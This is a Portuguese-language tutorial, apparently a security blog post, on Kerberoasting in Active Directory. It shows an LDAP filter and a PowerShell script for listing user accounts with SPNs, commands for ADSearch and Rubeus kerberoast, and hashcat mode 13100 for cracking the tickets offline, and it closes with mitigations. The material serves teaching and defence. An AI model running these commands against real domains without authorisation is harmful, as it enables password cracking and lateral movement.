1 minuto(s) de leitura

Teoria

Kerberoasting explora o Ticket Granting Service (TGS), que é usado para a autenticação em um serviço através do protocolo Kerberos.

O ataque envolve a solicitação de um ticket de serviço arbitrário para cada nome principal de serviço (Service Principal Name - SPN) no domínio e a tentativa de quebra offline da senha através de força bruta.

Caso a conta de serviço seja de máquina (MACHINENAME$), será impossível de realizar, por causa das senhas complexas e geradas aleatoriamente, porém, alguns serviços são executados por contas de um usuário normal (o usuário criou a senha) e neste caso o ataque é efetivo.

OBS: Com a senha, a movimentação lateral se torna possível.

Untitled

A Mônica está associada ao SPN MSSQLSvc/monica.com.

Extração de Contas com SPN através do LDAP

Pode-se realizar um filtro LDAP para extrair as contas que possuem mais de um SPN:

(objectCategory=person)(objectClass=user)(servicePrincipalName=*)

Untitled

Untitled 1

Extração de Contas com SPN através do Powershell

O mesmo filtro será usado através de um script poweshell.

$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
	$userEntry = $result.GetDirectoryEntry()
	Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
	Write-host "SPNs"        
	foreach($SPN in $userEntry.servicePrincipalName)
	{
		$SPN       
	}
	Write-host ""
}

Untitled 2

Extração de Contas com SPN através do ADSearch

ADSearch.exe --search "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" --attributes cn,distinguishedname,samaccountname

Untitled 3

Ataque

O Kerberoast pode ser realizado através do Rubeus:

Rubeus.exe kerberoast /nowrap
  • A opção “nowrap” remove a quebra de linha (não obrigatório).

Untitled 3

Quebrando a Senha

O Hashcat será usado para quebrar a senha.

Untitled 4

  • A configuração “-m 13100” é para quebrar senhas Kerberos 5 TGS-REP (etype 23).
  • O arquivo “monraybrandt-kerberoast” possui o hash encontrado.
  • O arquivo “pass” contém as possíveis senhas.

Untitled 5

Medidas de Proteção

  • Aplicar políticas de senhas fortes (tamanho 10 ou mais, números, letras maiúsculas e minúsculas e caracteres especiais) para proteção.
  • Remover e evitar SPN em contas de usuário.
  • Caso realmente seja necessário, usar o Microsoft Managed Service Accounts (MSA).

Deixe um comentário